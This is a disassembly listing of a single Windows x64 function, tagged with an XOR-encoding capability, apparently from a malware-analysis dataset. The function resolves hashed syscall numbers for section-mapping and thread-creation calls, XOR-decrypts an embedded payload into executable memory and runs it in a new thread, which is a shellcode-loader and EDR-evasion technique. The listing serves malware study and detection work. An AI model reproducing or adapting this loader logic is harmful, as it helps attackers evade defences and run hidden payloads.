Function at 0x140002be0
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rsi
push r12
push r13
lea rbp, [rsp - 0xc8]
sub rsp, 0x1c8
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor esi, esi
mov qword [rbp - 0x80], 0x120
mov qword [rsp + 0x60], rsi
mov r13, r9
mov qword [rsp + 0x70], rsi
mov r12, rcx
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
test rcx, rcx
je 0x140002c5a
test r9, r9
je 0x140002c5a
lea rdx, [0x140007820]
mov ecx, 0xf85c77ec
call fcn.1400022f0
test eax, eax
jne 0x140002c61
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtCreateSection__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
lea rdx, [0x140007838]
mov ecx, 0xb347a7c1
call fcn.1400022f0
test eax, eax
jne 0x140002c89
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtMapViewOfSection__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
lea rdx, [0x140007850]
mov ecx, 0x6411d915
call fcn.1400022f0
test eax, eax
jne 0x140002cb1
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtCreateThreadEx__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
lea rdx, [0x140007868]
mov ecx, 0x3d93eda4
call fcn.1400022f0
test eax, eax
jne 0x140002cd9
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtWaitForSingleObject__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
lea rdx, [0x140007880]
mov ecx, 0x830a04fc
call fcn.1400022f0
test eax, eax
jne 0x140002d01
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtUnmapViewOfSection__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
lea rdx, [0x140007898]
mov ecx, 0xedfc5cb
call fcn.1400022f0
test eax, eax
jne 0x140002d29
lea rcx, str.____Failed_In_Obtaining_The_Syscall_Number_Of_NtClose__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
mov rdx, qword [0x140007830]
mov ecx, dword [0x140007820]
call fcn.140003350
mov qword [rsp + 0x30], rsi
lea r9, [rbp - 0x80]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x68]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140003373
test eax, eax
jns 0x140002d7f
mov edx, eax
lea rcx, str.____NtCreateSection_Failed_With_Error:_0x_0.8X__n
call fcn.140002700
xor eax, eax
jmp 0x140003113
mov rdx, qword [0x140007848]
mov ecx, dword [0x140007838]
mov qword [rsp + 0x1c0], rdi
call fcn.140003350
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x78]
mov dword [rsp + 0x48], 4
lea r8, [rsp + 0x60]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
lea rdx, [r9 - 1]
mov qword [rsp + 0x20], rsi
call fcn.140003373
test eax, eax
js 0x1400031e3
cmp qword [rsp + 0x60], rsi
je 0x1400031e3
mov rdx, qword [0x140007848]
mov ecx, dword [0x140007838]
call fcn.140003350
mov rcx, qword [rsp + 0x68]
lea rax, [rbp - 0x78]
mov dword [rsp + 0x48], 0x40
lea r8, [rsp + 0x70]
mov qword [rsp + 0x40], rsi
xor r9d, r9d
mov dword [rsp + 0x38], 1
mov rdx, r12
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call fcn.140003373
test eax, eax
js 0x1400031dc
cmp qword [rsp + 0x70], rsi
je 0x1400031dc
movzx r8d, byte [0x1400070d1]
mov edi, esi
nop word [rax + rax]
mov ecx, r8d
mov eax, 0x80808081
xor ecx, edi
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
cmp ecx, 0x9d
je 0x140002e92
inc edi
cmp edi, 0xff
jle 0x140002e60
movsx eax, dil
lea rdx, [0x1400070d0]
mov ecx, esi
movd xmm2, eax
mov rax, rdx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ecx, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ecx, 0x20
jb 0x140002ec0
movsxd rax, ecx
cmp rax, 0x20
jae 0x140002efe
add rax, rdx
nop dword [rax + rax]
xor byte [rax], dil
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x20
jb 0x140002ef0
test dil, dil
je 0x1400031f7
movzx r8d, byte [0x1400070c1]
mov edi, esi
mov ecx, r8d
mov eax, 0x80808081
xor ecx, edi
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
cmp ecx, 0xc6
je 0x140002f43
inc edi
cmp edi, 0xff
jle 0x140002f11
movsx eax, dil
lea rdx, [0x1400070c0]
mov ecx, esi
movd xmm2, eax
mov rax, rdx
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
lea rax, [rax + 0x10]
add ecx, 0x10
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
cmp ecx, 0x10
jb 0x140002f70
movsxd rax, ecx
cmp rax, 0x10
jae 0x140002fae
add rax, rdx
nop dword [rax + rax]
xor byte [rax], dil
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x10
jb 0x140002fa0
test dil, dil
je 0x1400031f7
mov qword [rsp + 0x1f8], rbx
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x1b8], r14
xor edx, edx
mov qword [rsp + 0x1b0], r15
mov r8d, pe_nt_image_headers64
movaps xmmword [rsp + 0x1a0], xmm6
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp - 0x70]
mov ecx, pe_nt_image_headers64
rep stosb byte [rdi], al
lea rcx, [rbp - 0x70]
call fcn.140001c50
movups xmm2, xmmword [0x1400070c0]
mov rdi, qword [rsp + 0x60]
lea rbx, [rbp + 0x80]
lea r14, [0x1400070f0]
sub rbx, rdi
movups xmmword [rbp + 0x80], xmm2
mov r15d, 0x12
nop dword [rax + rax]
movups xmm6, xmmword [r14]
mov r9, r14
lea rcx, [rbp - 0x70]
mov r8, rdi
call fcn.140001f70
lea rax, [rbp + 0x8f]
cmp rdi, rax
ja 0x140003082
lea rax, [rdi + 0xf]
lea rcx, [rbp + 0x80]
cmp rax, rcx
jb 0x140003082
mov rcx, rdi
mov edx, 0x10
nop word [rax + rax]
movzx eax, byte [rbx + rcx]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140003070
jmp 0x140003095
movdqu xmm0, xmmword [rdi]
movdqu xmm1, xmmword [rbp + 0x80]
xorps xmm1, xmm0
movdqu xmmword [rdi], xmm1
add rdi, 0x10
movups xmmword [rbp + 0x80], xmm6
sub rbx, 0x10
add r14, 0x10
sub r15, 1
jne 0x140003030
mov rdx, qword [0x140007890]
mov ecx, dword [0x140007880]
movaps xmm6, xmmword [rsp + 0x1a0]
mov r15, qword [rsp + 0x1b0]
mov r14, qword [rsp + 0x1b8]
mov rbx, qword [rsp + 0x1f8]
call fcn.140003350
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call fcn.140003373
test eax, eax
jns 0x140003130
mov r8d, eax
mov edx, 0x181
lea rcx, str.____NtUnmapViewOfSection___d__Failed_With_Error:_0x_0.8X__n
call fcn.140002700
xor eax, eax
mov rdi, qword [rsp + 0x1c0]
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.1400033b0
add rsp, 0x1c8
pop r13
pop r12
pop rsi
pop rbp
ret
mov rdx, qword [0x140007860]
mov ecx, dword [0x140007850]
mov qword [rsp + 0x60], rsi
call fcn.140003350
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x50], rsi
mov r9, r12
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
call fcn.140003373
test eax, eax
jns 0x140003197
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error:_0x_0.8X__n
call fcn.140002700
jmp 0x1400031f7
mov rax, qword [rsp + 0x70]
mov qword [r13], rax
mov rdx, qword [0x140007878]
mov ecx, dword [0x140007868]
call fcn.140003350
mov rcx, qword [rsp + 0x78]
xor r8d, r8d
xor edx, edx
call fcn.140003373
test eax, eax
jns 0x1400031d5
mov edx, eax
lea rcx, str.____NtWaitForSingleObject_Failed_With_Error:_0x_0.8X__n
call fcn.140002700
jmp 0x1400031f7
mov esi, 1
jmp 0x1400031f7
mov edx, 0x169
jmp 0x1400031e8
mov edx, 0x163
mov r8d, eax
lea rcx, str.____NtMapViewOfSection___d__Failed_With_Error:_0x_0.8X__n
call fcn.140002700
cmp qword [rsp + 0x60], 0
je 0x140003233
mov rdx, qword [0x140007890]
mov ecx, dword [0x140007880]
call fcn.140003350
mov rdx, qword [rsp + 0x60]
mov rcx, 0xffffffffffffffff
call fcn.140003373
test eax, eax
jns 0x140003233
mov r8d, eax
mov edx, 0x19d
jmp 0x1400030fd
cmp qword [rsp + 0x68], 0
je 0x14000326e
mov rdx, qword [0x1400078a8]
mov ecx, dword [0x140007898]
call fcn.140003350
mov rcx, qword [rsp + 0x68]
call fcn.140003373
test eax, eax
jns 0x14000326e
mov edx, eax
lea rcx, str.____NtClose_Failed_With_Error:_0x_0.8X__n
call fcn.140002700
jmp 0x140003109
mov eax, esi
jmp 0x14000310b